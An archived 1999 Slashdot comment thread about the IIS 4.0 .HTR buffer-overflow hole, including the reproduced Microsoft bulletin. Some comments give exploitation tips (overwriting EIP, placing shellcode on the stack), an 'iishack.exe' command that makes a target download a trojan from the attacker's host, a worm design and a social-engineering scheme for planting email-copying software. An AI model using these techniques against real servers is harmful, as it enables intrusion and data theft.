Follow Slashdot stories on Twitter

 


Forgot your password?
Close
typodupeerror
×
Microsoft

Major Security Flaw in IIS4.0 233

Posted by Hemos from the i-like-open-source dept.
Mintslice was one of the first to write in with the latest major major hole that's been found in Microsoft's IIS4.0. The hole, a nice little number, called remote users can gain root access, using buffer overflow is "being treated" seriously by the corporation. Mmm...Apache.
This discussion has been archived. No new comments can be posted.

Major Security Flaw in IIS4.0 More

Major Security Flaw in IIS4.0

Comments Filter:

  • I used to patch games with no source in sight. They probably inserted crack code that gave them a stack dump. From that, a back trace can locate the problem, and a binary patch can be put together from there.

    At one time, I did the same to IE 3.something. It allways crashed on microsoft's home page!

  • It amazes me to see all the hype given to security holes such as these. The much larger security hole is human nature and lack of techinal knowledge. So many companies are worried about some teenager hacking into their computer from the internet and defacing their web site. This is a possibilty, but the greater danger is the human factor.


    For example, go to your favorite large company, follow employee X up the stairs and let them hold the door with the lock on it for you. Wander around a little bit, until you find someone important. Tell them you are from IT, and are here to upgrade their virus software. Install your program that sends you a copy of every email they send or receive. Insert imagination here


    While companies should be aware of security issues such as these no company should feel they are safe (and they never will be). I'm sure this type of stuff happens all the time, but it is never caught. It is this type of hacker that is really scary; not the teenager with a modem and some scripts.
  • "Who would be to blame for fauilure?"

    There's the rub - my current policy on software politics is that the 'fault' lies with the person who 'chose' the software to use - really, read any license agreement, like what comes with IIS4 "software is provided AS IS, without warrenty or guarentee of usability or marketability", that gets M$ off the hook. The poor IT admin who is forced to maintain a system, who didn't recommend or choose the stuff sure isn't. In fact, I'm trying to work up a sysadmin disclaimer for my own protection - to the effect of "Ok, YOU, the employer, want to run this brand, or choose this brand because it's the default selection or what 'everyone and his brother' appears to be using, I'll work with it BUT there are limits on what I'll be responsible for; if the people who write and market this stuff won't be held liable for defects in the product I'll be darned if I'll be the fall guy!". Anyway, where I work we have all the usual glitches and hiccups, and I make it patently clear: I didn't write this garbage, I just install it, tweak it - everytime you guys fall for the email worm da jour I just sit at my FreeBSD box quietly chuckling to myself, hehehe.

    Chuck

  • The worm could, once installed, have 2 different stages. 1st is replication stage (goes to the internet - maybe search engines - to find other IIS sites)

    Netcraft [netcraft.co.uk] would be a good place to start looking.

  • I just happenned to see a front page story on the MSNBC web page which is titled "AOL's epic aim: to slay Microsoft". I have to say that the obvious bias is funny, more than anything else.

    Link right here [msnbc.com].

    It goes on about how AOL is trying to take over the world by cutting out Microsoft. It's fairly long, and doesn't really say much, but when they have the gall to present "AOL Everywhere" as a threat when the majority of their readers are using Microsoft Windows 95/98/NT, and a large share of them are using MS Internet Explorer 4/5 to read this article on MSNBC, it's too much.
  • s/root/Administrator/;

    And you can rename "Administrator" to "root."
  • I am glad someone like Eeye found this, just think if someone else discovered this and kept it to themselves? Every high profile IIS site out there would get r00t3d. I suspect a great many of these E-commerce sites still store CC# databases on the webserver. This is why I dont build NT firewalls.
    What if something like this came out for exchange?
    and MS took 2 months to patch it? This is why I like open source OS's. As soon as an exploit is discovered a patch is written, and if you know enough you can even write the patch. A quick buffer overflow audit: strings *.c |grep str
    will get you the most common overflow able functions.


  • Posted by d106ene5:

    like any half decent programmer in any language should.

    I love listening to all the so-called "experts" in slashdot tell me I'm a moron unless I re-code everything from my compiler to my libraries.

    One day you may actually be on a schedule. Heaven help you when you first manager (I assume you are a greenwing undergrad) finds out that you are re-coding stdio. You'll have that "ass scraping pavement" feeling real quick.
  • Posted by d106ene5:

    Releasing code early, even when buggy may be a spiteful practice, but its worked for them. They're the most valued corporation on the planet - certainly better off than people who spend six months longer running code through purify until their ears bleed or they starve to death.
  • This should be rated more then a 2. The man is correct. Check out http://www.l0pht.com for theoretical exploits. Someone is going to write
    a script that sends GET "Ax3000".hmt to port 80 on entire subnets. Neat DoS attack.

    Uh oh...
    From Bugtraq:"and as promised added a link to the working remote exploit,
    http://www.eeye.com/database/advisories/ad060819 99/ad06081999-exploit.html"


    Bye, bye IIS sheep.
  • Posted by d106ene5:

    Bottom line - some languages are simply more prone to certain failures that open up security holes.

    C/C++ makes bounds checking optional, which means no one does it.
  • Microsoft's servers are closed source, so we cannot verify the quality of the security of the code, and we cannot fix them quickly if there are problems.


    That sounds reasonable, but I think that there may be a flip side to it. Namely, once code is made public the crackers can rummage through it as well, and possibly find holes they would not otherwise have known about.
  • for ($i = 2500; $i = 3500; $i++) {

  • Yes, I noticed this as well... probably because I actually read the stories and did some investigation before I started commenting...

    Every single time I see something about Microsoft's OSes on here, it is accompanied by post after post of "yeah...take that MS!" and "hahah...glad I'm on ". Is this really the attitude of the "OS of the Next Generation" ???? I hope not, because Linux will not become strong when it's major supporters behave this way. This is not a troll post, this is an advisory for an attitude adjustment.
  • heck 7kg is carryable. hiroshima was 11 kilotons. that was 100,000 casualties. ok, ok. this is getting way offtopic. hehe.

  • HTR filter (Score:3)

    by IntlHarvester ( 11985 ) on Tuesday June 15, 1999 @04:34PM (#1849217) Journal
    1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
    updated their checklist to include this interim fix.

    Here's where the 90% of public ISS servers figure probably is not true. A standard security recommendation for IIS is to disable ISAPI extensions that are not in use. As for how many people use HTR, I don't know, but I'd guess it's not 90%. If your local IIS admin hasn't done the basics such as this, this is a gentle reminder.

    And as for the folks crowing about Unix versus NT security, you know there's lots of stuff you can run on a Unix box that will create security holes. Certain Linux installers will automagically activate some of this stuff. The fault with Microsoft here is shipping a product with pre-activated 'features' that you many not want to use. (Third party ISAPI extensions require manual registration - a 30 second process). Obviously the more untested, unused features you might have running, the more security holes you are exposed to.

    Of course with Unix and open source products, you can be somewhat sure that someone is trying to find the holes for you. But, IIS is a pretty immature product, despite it's version number, so I don't know if you can say the same for Unix software that hasn't been in the field for many years.
    --

  • Re:It's the the programmer! (Score:1)

    by Anonymous Coward
    The post wasn't an attempted pot-shot at Perl. It was for those "C should never, ever, ever be used for anything now that we have [insert language here]"-types.
  • Microsoft Security Bulletin (MS99-019)
    Patch Available for "Malformed HTR Request" Vulnerability
    Originally Posted: May 27, 1999

    Microsoft has released patches that fix the problem identified. The patches are available for download from the sites listed below in What Customers Should Do.

    OK. Now we scroll down to that section...

    A patch will be available shortly to eliminate the vulnerability altogether.

    and further down...

    Revisions
    *June 15, 1999: Bulletin Created

    Hold on, first there's a patch available then there isn't. Then, it was first POSTED May 27, about 3 weeks before it was CREATED.

    This sounds like typical MS double talk. I'm really not at all surprised by the inconsitency. I also like the way the page links to itself in More Information. :>

    Yeah, they've got a lot of brain cells over there. 1 per MS employee adds up to quite a few.
  • Why is it that so many programmers think that the world would be a better place if everyone would just use their favorite language?
  • Whenever I read an article on why companies are afraid to implement a *free* solution to their problems, I always end up seeing one resounding answer:

    "Who would be to blame for fauilure?"

    It just makes me wonder what that means. What is going to happen? If Joe's Bread Shop (You've seen the commercial) loses oodles of money do to some vulnerability in their NT system, what good is it to have that worthless reassurance that there is someone to blame? You.

    A good reason why I like FreeBSD/Linux? If it goes down, most likely, close to %99.9999999 of the time it is my own fault.



    And Microsoft was glowing with joy about the eBay thing....



    calx
  • Even if it did, and it doesn't, there is no such thing as root in Windows world...
  • BTW, It's not the programmers up there that are incompentent, its the system that they program under. Everyone I know who works for Microsoft is extremely bright, but they say the attitude and system is what cause their products to be so bug ridden. Ex. Many times they have multiple groups working on the same project. The group that finishes first gets a bonus. They also view marketing deadlines more important than bug fixes, and use the initial releases of the products to flush out the bugs (i.e. they count on having 3 or so service packs to fix the issues).
  • Cos its about time BG paid for his shoddy releases. and lets all share the wealth...

    And also the article give nice examples for other things to do like killing the MS share price...

    ok, i don't think the above should be done(:P)... but it is always possible, wouldn't it be ironic (don't ya think) if his own products would be his own downfall.

    --
    So what if you can jump over a chair bill, if i have to install windows for the n'th time today that chair won't make it over you...
  • As somebody already mentioned, this tactic of security companies finding a hole in the default configuration and using it to get publicity is getting pretty tiresome. It does help get the word out, which is a good thing.

    Follow the links and see what it really says. Yeah, there's a patch coming, maybe a day or two slower than Linux would have it out. Probably as fast as the crackers can pass it around; they'll mainly prey on the many people who ignore it. But in the meantime, all you need to do is to remove a couple of rarely-used ISAPI entries. I'm glad I don't have to do it on a thousand domains, but it's a pretty simple fix.

    A huge number of these NT "Security holes" are simply weaknesses of the default configuration. If anything, it highlights Microsoft's tendency to throw in and start up too much junk that you don't know about, don't want, and will never use. The default settings are very permissive, apparently in search of a "positive end-user experience." Their words, not mine.

    I've never run a server that was heavily loaded, so I can't speak to that, but otherwise, IIS is one of the parts of NT that they actually did pretty well, configuration issues notwithstanding. It can be secured from script kiddies without too much hassle, and most of the holes that do turn up are related to MS-specific things that you can disable, or to default permissions that need to be tweaked.

  • To go beyond a DOS attack, you'll need to see where the rest of the overflow bytes go. Try looking at what is on the stack after the crash. Also, isolate what portion of the oversized buffer actually goes into EIP. Having done that, just stuff your exploit into the stack, and force EIP to point to it.

    The possabilities are endless.

  • I once got the crap flamed out of me for saying the exact same thing as the original AC, years ago on BUGTRAQ. Ghod forbid anyone should question the Language of Choice... if you can't drive a car with square wheels, you just aren't a good enough driver. If you aren't willing to ditch the C stdlibs and start over from scratch, you're just not a serious programmer.

    What a load of crap!!! It's the sort of snotty elitism that compares well to, say, Custer's Last Stand.

    How about if your NT box isn't secure, you're just not a good enough administrator? No suggestion that if you used Unix, you might not have to DEAL with some of these problems?

    C is a beautiful, wonderful language for writing operating system kernels and low-level utilities. But it's a lousy language for writing security-sensitive code... it's nearly impossible to prevent buffer overflows without years of experience and studious avoidance of what are and should well be standard coding practices (sprintf(), for example).

    C++ not only saddles you with the same buffer overflows, but often buries them deep inside classes, behind badly mangled names, hidden from the probing of debuggers. Of course, if you don't throw out all standard libraries and start from scratch, you're not a good C++ programmer either, right?

    Dylan is a solution, but not the only solution. Even Perl is basically immune to buffer overflows, at some performance penalty. Most languages designed for use other than writing OS kernels do automatic bounds checking, and even garbage collection (getting rid of all those pesky memory leaks you admit to in the process).

    Don't turn your nose up at using the right tools.
  • hmm... Did you read the eEye advisory page? This [eeye.com] (a direct link from the relevant advisory page [eeye.com])looks like a link to an exploit to me, along with download links for the exploit code...

    I haven't tried it however so can't vouch for whether it works or not but I have no reason to think it wouldn't.
    --
    "I am not a nut-bag." -- Millroy the Magician

  • http://www.eeye.com/database/advisories/ad06081999 /ad06081999-exploit.html and a few exploits also moved across BUGTRAQ not too long after the advisory did. They are versy short (5-10 lines) perl scripts. I know nothing about IIS and would probably like to keep it that way but if this thing works, script kiddies are going to have a field day!
  • Microsoft is just tooting their horn that for once, the problem is NOT NT. From what I understand, Ebay's setup consists of NT servers running the cgi's and web stuff and a Sun box doing the database stuff at the backend. The problems were with the Sun box OR with some clueless people who administer the Sun box and are experiencing growing pains. I would vote for the latter - for all the cash that Ebay is raking in, I had several problems with them when I posted items a long time ago. It doesn't surprise me that they have two hard outages like this - they grew too big too fast and just don't have what it takes to do business 24/7. This outage may have given them a healthy dosage of clue though. I did hear that there were problems with the NT cgi cluster as well. The bottom line is that while the problem was with a Sun box running a database, it probably wasn't the hardware or OS but more likely a system that wasn't capable of handling the sort of load that Ebay receives. I don't speak for Ebay and could be full of it. This is just what I've picked up from mailing lists.
  • Sorry, have to disagree--cracking would be malicious. Installing Apache in IIS4.0's place would be a boon to both the company and server (it'd be even better if the hacker could install some ASP support so the applications don't choke). Either way, it's better ;)
  • Several words -- "I'm not basing a critical mail server on software that still has version numbers based on the date."
    ----------------- ------------ ---- --- - - - -
  • Here cometh the script kiddies...

  • I like it (Score:3)

    by HEbGb ( 6544 ) on Tuesday June 15, 1999 @11:03AM (#1849235)
    I really like the apparent strategy of these security companies, who, when they become the first to find a hole, get a whole lot of good PR and advertising.

  • However, if you want UUCP, BITNET relaying, or FIDO-NET support (which is CRITICAL in many third world countries) sendmail is your only option.

    Bzzt. Wrong conclusion, although it's a common misconception. I've done UUCP via ssh, and even fidonet mail routing with qmail when I had an 2400 baud modem link. BITNET? Well, no, but that's just because it was disappeared for years when I began working with computers. But I don't think it would be that hard to use it. There's nothing spectacular about it, it's all straightforward. Actually, that's how I see qmail vs. sendmail; with you don't need to know what you do, just ask for help, or buy the book, and look up the answer, with qmail, you spend a few hours looking through the documentation, and you understand it all.

    And in a surprise twist, when you understand it, you also can do anything with it, if you are good with general programming/scripting otherwise; no need to grab that bat book again..

  • Namely, once code is made public the crackers can rummage through it as well, and possibly find holes they would not otherwise have known about.

    This is the old "security through obscurity" argument which has been proven false many times. I don't know off-hand what the arguments are (a little research on "security through obscurity" should help you learn more), but basically they boil down to this: the competent "bad guys" already know about the security holes, and the incompetent ones probably won't learn anything from the source. BUT the competent "good guys", having neither as much time nor as much incentive to go cracking through closed-source programs as the "bad guys", will be able to poke at the programs once the source code is made available.

    Oh yeah, and one more argument against "security through obscurity" -- the most telling one, IMHO. If you're afraid that revealing your source code will let thousands of "bad guys" find all the security holes in it, what do you do when (not if, when) someone compromises your system's security and obtains a copy of it? Are you going to recall the thousands of copies of your program that you already sold? Not if you're a company with a reputation to protect. No, you're going to cover it up and keep it quiet. Meanwhile, the "bad guys" will be sharing the knowledge of the security holes, and the "good guys" won't know how to protect themselves.

    There is no way to be 100% certain that a product is bug-free and security hole-free. But if the source is available and has been poked at for a long time by thousands of experts, you can get pretty close to 99% certainty.
    -----

  • sendmail.
    ---
  • Heck, it's apparent that the author grabbed another advisory as a template and just rewrote part of it. I fail to find the fact they missed changing the date constitutes "double talk."

    You may not like Microsoft, and I _sure_ don't, but don't make too much out of poor proofreading.

    Tillman
  • This should be a good test of commercial software versus free. The Linux DoS bug was patched within hours - lets see how long MS takes to :

    a) admit the problem (if ever)
    b) fix it


    Chris Wareham
  • I have seen it work first hand, it's juat that the kids dont have the exploit in their hands yet, but anyone can make it crash...
  • wine "iishack.exe somewhere.com 80 myhost.com/trojan.exe"

  • I'd say that these kinds of bugs would be easier to spot and patch if, say, the source code was available. But I doubt there's many people who read /. who don't know that already. =)

  • I meant first saying there's a patch then saying there isn't. The date is just for a nice little chuckle.
  • There's a very big difference between allowing people to write macro viruses (after all, almost any platform can have viruses written for it) and leaving a really big, stupid security hole up there a week after you've been told about it. I haven't read this in detail but it looks to be just a few lines, or one line, of verification code missing, right? MS would get flak big time.

  • ... in which case I agree.

    Sendmail is the single most apalling thing about Unix systems. The sooner someone comes up with a modern, easily configurable alternative the better.


    Chris Wareham
  • That's what you get for running a webserver that requires root privs.

  • (raising one eyebrow, head slightly tilted)

    i didn't know keanu reeves read /.

    conform

  • Microsoft are aware of the problem ...

    My god ... I'm in shock.


    Chris Wareham
  • That had to be a joke, right?
  • qmail works very, very well. It's not free software though.
  • Anybody remember this article
    http://www.microsoft.com/technet/av ail/ebay.htm [microsoft.com]
    regarding The Importance of Reliability in an e-Commerce World....

    I just sent this article in responce to it (technet@microsoft.com) God, I amuse myself...
  • So what you are saying is that my programs are prone to hacking because I write in C/C++. You are out of your friggin mind. Securty has nothing to do with the programming language you use. They could have used BASIC for god sake an thats old as the hills, and still have a secure system!
  • Because most programmers are stuck using shitty languages.

    The poster wasn't (necessarily) advocating that everyone use Dylan, s/he was advocating that everyone stop using C/C++ so much. Perl, Ada, Java, Haskell, etc. all have greater robustness (and other advantages) than C/C++, yet C and C++ enjoy much more popularity. The industry is reluctant to change because it has found a standard, lame though it may be. (See any parallels here?)

    -- A disgruntled C++ coder
  • Try doing that wherever Microsoft's webservers are housed, think it will work? Of course not, while your point is a good one, it bears noting that this does not work on systems with high security requirements.

    Actually the human factor is the greatest danger but in a different way than you mentioned. I would concern myself more with the human emotions of anger, jealously, and greed. A disgruntled employee or one who can be bought is far more dangerous than a clueless secretary who holds the door open.

  • Re:These are inevitable (Score:3)

    by mcmay ( 59905 ) on Tuesday June 15, 1999 @12:53PM (#1849262) Homepage
    I think this is a classic case of the vapor/pre-marketing/beta-release methodology Microsoft has used to claw back turf it lost when they discovered maybe CERN and NCSA were on to something with HTTPD.
    First off, Windows has always been behind on web servers. Remember EMWAC? The Win32 platform suffered by being so different from Unix that any port of new Unix-based packages requires Herculean effort to bring to Windows.
    Apache has time in service, legacy, and flexibility on its side. What Microsoft has that Apache is missing is 9 figures worth of PR.

    Microsoft rolled their own, with a view to pitching it as a central part of the OS. I mean, I don't think I've ever seen a Solaris slick with a "now featuring APACHE!" starburst across the top. It's just always been there, or at least readily available. Microsoft has had the luxury of selling the most rudimentary services and tools (HTTP, NNTP, mailer, even scripting) as quantum leaps in OS evolution.

    Unix types know three things when it comes to software:
    1) It's probably in there;
    2) If it's not there, I can probably find and install it; and
    3) If it breaks, I can probably fix it.

    Windows folks, by contrast, have been trained to follow the path of least resistance by being spoon-fed these black boxes that inevitably blow up in their faces. An exploit like this shows up on CERT or Rootshell, and everybody.asp is a sitting duck. Sooner or later, CIOs are going to catch on here.

    They sure can sell the stuff, though. So well that the marketing folks can compromise the reputations of otherwise superlative programmers.

  • Scalability and sendmail (Score:3)

    by Eric Green ( 627 ) on Tuesday June 15, 1999 @01:08PM (#1849265) Homepage
    Let me get this straight. Your idea for fixing the scalability problems of Sendmail is to create a config file format that takes MORE horsepower to parse (regular expressions)?

    I'll agree Sendmail needs a major overhaul and that the config file format is a disaster, but let's face it, anything as flexible as sendmail will have the same scalability problems as sendmail. The only solution to those scalability problems is to go with a less flexible MTA. Sort of like in web server, where if you want flexibility you go with Apache, but if you want speed, you go with thttpd or Zeus.

    -E
  • Actually, "ungrade" seems more appropos for M$ software... ;-)

  • I just tried it on one of the severs run by one of my companies, and I could not get it to work.

    I tried the ncx99.exe version, and never was there a reference to fetch that file from my main web site where I put it. So either, I'm an idjit (but when it comes to doing NT stuff, I'll admin I am) or this thing doesn't work.

    The NT system in question is a vanilla install of NT4 SP3 with IIS. Hmm. Maybe I'll upgrade to SP4 and see if it works...

  • Hey, how many ITs have read this?
    Does anyone of them have done the steps to resolve this isue?
  • Posted by Matt Bartley:

    The NT system in question is a vanilla install of NT4 SP3 with IIS. Hmm. Maybe I'll upgrade to SP4 and see if it works...
    On the page about the iishack exploit [eeye.com] they say they don't know if it will work on service pack 3 systems, and would like reports one way or the other.
  • Well, you could use nmap [insecure.org] to figure out which OS the computer in question is running, but as to which Windows version and patch level, I haven't a clue. nmap doesn't support that, yet. There are programs out there that do, but I can't remember any right now.
  • - 10 years commercial experience

    - two large applications written / delivered / supported.

    - sold one application to a TLA multinational.

    - spent time working in US teaching american programmers about OO.

    - currently earning 4 1/2 times mean wage of the country I live in.

    - No degree, and proud of it, get to where I am and you don't need one.

    What have you done?

  • 1) lame config file format. a full regular expression engine would be faster, and easier to use

    Pay the $$$ and get the web interface. Quite nice, or, if you are cheap buy the O'Reilly book, RTFM, etc, etc. You will not find a more featured MTU at a cheaper price.

    2) *NOT SCALABLE* Period. Every webmail provider who tried to go with the sendmail approach got hammered. Commercial alternatives like SIMS, Post.office, or IsoCor are much more scalable, into the millions or 10s of millions.

    Yeah, and they didn't download any one of those mail systems and use it at no cost. I'll bet you any large scale ISP pays over $30k for their mail/POP/IMAP servers.

    3) buggy as hell. Sendmail is single handedly responsible for more rooting than any other Unix app. Not just buffer overflows either.

    Maybe in the past, but not lately. Sendmail, properly configured, is rathter tight these days. Generally it is the admin to blame.

    Laters...

  • It should be for not or
  • Did I read the advisory? Please. I read the advisory, posted my comments to slashdot then sent email to eEye requesting they put the sploit on their page. Which they have done.. thank you eEye.
  • The links don't seem to work anymore. Has Micro$oft or some other company filed a suit or for an injunction to stop the distribution of the code?
  • The string class in the standard C++ libraries does bounds checking. Perhaps some Microsoft programmers aren't making adequate use of standard libraries.

    --
  • > (even from the LARGEST COMMERCIAL ENTITY IN THE WORLD)

    General Motors? Hell, that's just the USA, there may be even larger ones abroad.
  • Damn, that was beautiful!

    Jim
  • Okay, so, I run the CGIs using ";uptime" inside the query string. Now what??? All this does is adding ";uptime" at the end of the enviroment variable QUERY_STRING of the CGI application (assuming you are using the GET HTTP REQUEST_METHOD), I can't see how is that going to fill the process table or do any kind of harm.

    Alejo.
  • > Yeah, there's a patch coming, maybe a day or > two slower than Linux would have it out A day or two? More like a few weeks. MS just hasn't admitted it until a security company blew the whistle. There was a serious DOS bug against NT/95/98 discussed several months ago on Bugtraq. Still no fix, and MS knew two months ago at least.

  • Re:It's the the programmer! (Score:1)

    by Anonymous Coward
    Isn't Perl written in C? (Is Dylan written in Dylan?)
  • oh BLAH BLAH BLAH BLAH... this is a little irritating to hear again and again. sendmail is overly maligned for its current state of repair. i've run sendmail with no firewall in front of it, naked on the Internet for the last three years. average of five script kiddies hit my box every day for these three years, and NEVER, repeat NOT ONCE, did any of them -- or the occasional determined cracker (one every couple of months) -- break sendmail.

    of course, they didn't break anything else either. that's why i run linux.

    so quit sniping at a decent MTA that runs circles around most others as a turnkey messaging system.

  • Its pretty obvious from the data in the registers after the crash that it works. Just in case you know nothing about the x86 line, I'll enlighten you. the fact that ECX and EIP (EIP is the instruction pointer, use your imagination) are filled with 0x41414141 (0x41 is the letter 'A', which is what their overflowing buffer was filled with). So obviously, the instruction pointer is overwritten, allowing the attacker to point EIP back into the buffer, executing their code. Not theoretical at all. The reason sites aren't going down left and right is that the security outfit that found this didn't give out their own test exploit, and people who know how to write one don't give them to script kiddies. An exploit has usually been known about by professionals for a while before it shows up on rootshell.com. The only reason script-kiddie attacks are so sucessful is that admins don't patch to fix holes that have been known about for years.

  • IIS Worm? (Score:3)

    by Izaak ( 31329 ) on Tuesday June 15, 1999 @01:36PM (#1849294) Homepage Journal
    Weird. I was just predicting in an earlier /. discussion that something like this would crop up. Now I wonder how long it will take for the second part of my prediction to come true. It is only a matter of time before someone writes a worm that bounces from server to server exploiting this bug.

    Think about it. These systems are *web servers*. They are Internet connected and already configured to deliver files to remote systems. The worm need only deliver a small piece of seed code that uses an HTTP request to pull the entire package down from the attacking system. The cracked system then sets up its own downloadable worm package and then starts probing for other IIS servers to deliver it to. This could sweep through the Internet like wildfire.

    Scary. I am VERY glad my business is running on Apache.

    Thad

  • Guess what, my watch says 6-15, and the report was released by eEye [eeye.com] on June 8. Do the math. Start bashing MickeySoft any time now. They just don't have a good turn around time. 4 hrs for the Linux DoS attack, it's somewhere between 168-192 hours and counting for the IIS attack...



    Stupid proprietary software...



    Jeff

  • This is really important, no media coverage about this story?
    My fuc*ing bank runs on IIS! I want my money back!
    Who the hell is giving security certifications in this world? Mickey Mouse?

    I HATE this propietary software!

    If Open Source, every sysadmin in the planet would have fixed this (but don't tell M$, they should not master this secret)

    Linux, Pizza & Champagne!
  • I sent an email to eEye this evening asking about plans for porting the Retina tool to Mac OS X Server, and just got a reply a few minutes ago (!) stating that there are plans for both X Server and Linux versions in the future, although they state that it's a ways off at present (and no mention of source availability). Still, pretty fast turnaround time on their email, that's encouraging in any company.

  • Your comment doesn't completely address his concerns. Being able to sneak an arbitray return address allows you to execute almost arbritrary code whether the stack is considered executable or not.

    With a commerical product like IE, the attacker will have complete knowledge of all the code loaded into memory. Just jump to some bit of normally executable code in memory that does what you want. On an Intel chip, you don't even have to jump to an instruction that originally existed. Jump into the middle of an instruction and you get code that the designers never intended to be put there.

    I fervently hope that this bug is used to repeatedly down the stock market and a few military computers. That would put the spotlight like nothing else on Microsoft's failings.

  • As a few people have stated, C++ gives you the power to fix the buffer overflow problem once and for all.

    As a few other people stated, recoding the standard libraries is considered unacceptable when you're on a schedule.

    My response to these people is "What do you think Open Source is for anyway?". Find a library that fixes the problem, and use it. No need for you to do any coding.

    I, personally have a library I've used for several projects that eliminates the buffer overflow problem. It also permits a lot of data stream processing, chopping, and hacking to pieces without needing to make a single copy. One of these days, I'll even publish it under GPL.

  • So if I setup a server with RedHat, and someone uses a security hole to get access RedHat will pay me back for the effort required to fix the damage?

    I didn't realize that. Do the other Linux distribution people do this as well? How can Debian afford this?
  • Stone age programming technology? C++ is certainly not that. Strings can be handled with class to do all neccessary bounds checking..Thaer, it's programmmers deciding to use a char[] in an improper place.
  • Perl and Java can both be compiled to (real) machine code; their speed in these situations is close to C++ -- at least, close enough to justify coding in them. (Although I agree that coding real applications in interpreted Java is total folly, at least on today's machines.)
  • I'm thinking, class action suit. Maybe that's too extreme. Let's see if they take accountablity...
  • Tey'l probably call it an ungrade and charge for it...
  • eeye released this on June 8th, 1999. Thats 4 "a day or two's". And the advisory does say that MS was notified on the 8th.
  • Microsoft Security Bulletin (MS99-019)
    --------------------------------------

    Workaround Available for "Malformed HTR Request" Vulnerability

    Originally Posted: June 15, 1999

    Summary
    =======
    Microsoft has released a patch that eliminates a vulnerability in Microsoft (r) Internet Information Server 4.0. The vulnerability could allow denial of service attacks against an IIS server or, under certain conditions, could allow arbitrary code to be run on the server.

    Microsoft has issued this bulletin to advise customers of steps they can take to protect themselves against this vulnerability. A patch to eliminate this vulnerability is being developed, and an update to this bulletin will be released to advise customers when it is available.

    Issue
    =====
    IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. A vulnerability exists in ISM.DLL, the filter DLL
    that processes .HTR files. HTR files enable remote administration of user passwords.

    The vulnerability involves an unchecked buffer in ISM.DLL. This poses two threats to safe operation. The first is a denial of service threat. A malformed request for an .HTR file could overflow the buffer, causing IIS to crash. The server would not need to be rebooted, but IIS would need to be restarted. The second threat would be more difficult to exploit. A
    carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.

    While there are no reports of customers being adversely affected by this vulnerability, Microsoft is proactively releasing this bulletin to allow customers to take appropriate action to protect themselves against it.

    Affected Software Versions
    ==========================
    - Microsoft Internet Information Server 4.0

    What Microsoft is Doing
    =======================
    Microsoft has provided a workaround that fixes the problem identified. The workaround is discussed below in What Customers Should Do.

    Microsoft also has sent this security bulletin to customers subscribing to the Microsoft Product Security Notification Service.
    See http://www.microsoft.com/security/services/bulleti n.asp for more information about this free customer service.

    What Customers Should Do
    ========================
    Microsoft highly recommends that customers disable the script mapping for .HTR files as follows:
    - From the desktop, start the Internet Service Manager by clicking Start | Programs | Windows NT 4.0 Option Pack | Microsoft Internet Information Server | Internet Service Manager
    - Double-click "Internet Information Server"
    - Right-click on the computer name and select Properties
    - In the Master Properties drop-down box, select "WWW Service", then click the "Edit" button .
    - Click the "Home Directory" tab, then click the "Configuration" button .
    - Highlight the line in the extension mappings that contains ".HTR", then click the "Remove" button.
    - Respond "yes" to "Remove selected script mapping?" say yes, click OK 3 times, close ISM

    A patch will be available shortly to eliminate the vulnerability altogether.

    Customers should monitor http://www.microsoft.com/security for an announcement when the patches are available.

    Microsoft recommends that customers review the IIS Security Checklist at
    http://www.microsoft.com/security/products/iis/C heckList.asp

    More Information
    ================
    Please see the following references for more information related to this issue.

    - Microsoft Security Bulletin MS99-019,
    Workaround Available for "Malformed HTR Request" Vulnerability (The Web-posted version of this bulletin),
    http://www.microsoft.com/security/bulletins/ms99 -019.asp.

    - IIS Security Checklist,
    http://www.microsoft.com/security/products/iis/C heckList.asp

    Obtaining Support on this Issue
    ===============================
    If you require technical assistance with this issue, please contact Microsoft Technical Support. For information on contacting Microsoft
    Technical Support, please see
    http://support.microsoft.com/support/contact/def ault.asp.

    Revisions
    =========
    - June 15, 1999: Bulletin Created.

    For additional security-related information about Microsoft products, please visit http://www.microsoft.com/security


    ------------------------------------------------ ------------------
  • Well, considering something like 55-60% of the web runs on Apache, and only 26% or so run on IIS, the web would most probably still be kicking if something like these were to plague IIS.
  • Oh, this is fully exploitable.

    Perhaps the people who released the advisory wanted to wait for a patch from MS before releasing their exploit...

    It's going to be a very scary couple of days. I would suggest that any IIS admins fix things right away...

    This kind of hole could be used very easily to run an "egg" that would open a remote command shell, or install NetBus or Back Orifice 2000


    http://www.bo2k.com

    Watch that space, and remember DefCon is July 9-11 in Las Vegas.
  • Isn't Perl written in C?
    Have you ever tried to "overwrite" a short string in Perl with a larger one? It auto-allocates. If you start adding C extension modules to Perl, well, then yes, you've opened up a hole, but that's hardly Perl's fault. The pure Perl modules you write should be fine. We did an extensive Purify etc bug-check on Perl quite some time ago.
  • I know about the signal trampoline code. I still don't understand why it is considered imperative. There are many other possible approaches beyond making STACK pages +x.

    I cannot believe that the disadvantages of selecting an alternate implementation would be greater than the advantages of not letting anybody splat their own code in a perfectly running program and have it execute that user code.

    Self-modifying code may be nice for Core Wars, but it sucks for security verification.

  • These are inevitable (Score:5)

    by edgy ( 5399 ) on Tuesday June 15, 1999 @11:16AM (#1849367)
    This might look like flamebait, but this is exactly the reason that people should be weary of Microsoft products.

    In Unix's long history, there have been many vulnerabilities and problems that have popped up. We've had problems with sendmail, ssh, etc., and all of these utilities went through a lot of modifications and change, but they're becoming quite secure. I see less and less security problems with these utilities.

    There was a saying that said that if you don't learn unix, you're are bound to reimplement it.. badly.

    Microsoft's tools are not proven. They do not have the years of maturation that proven UNIX servers and utilities do. Sure, Unix is 30 years old, but that makes for a far mature and proven operating system.

    Microsoft's servers are closed source, so we cannot verify the quality of the security of the code, and we cannot fix them quickly if there are problems.

    Is it any wonder that Apache has such a huge marketshare? What is there to give us confidence in the code in IIS? Marketing and Public Relations? Isn't technical merit far more important?

  • I think, IMHO, that the Un*x community should stop helping M$ by divulgating security holes in their products. Let's keep everything for ourselves and then crash every single M$ server so that they'll be too down to spit on the open community ever again.

    I believe M$ is able to organize some bugs "discoveries" in a well organized way so they already have a miraculous patch ready for it. I'm maybe paranoid, but knowing M$ it wouldn't surprise me.

    No pity!


    Reporter: "What do you think of Western Civilisation?"

    M.K. Gandhi: "I think it would be a good idea."
  • For what it's worth; I've been using Exim [exim.org] now for quite a few months and has found it very capable of doing everything that sendmail once did for me. In fact; Exim provides quite a few methods that gives functionality which I would only have dreamed of in Sendmail. Exim is also released mostly under the GPL (three pieces of code exists which is not GPLed, but I think it would be possible to leave them out if one is a purist).
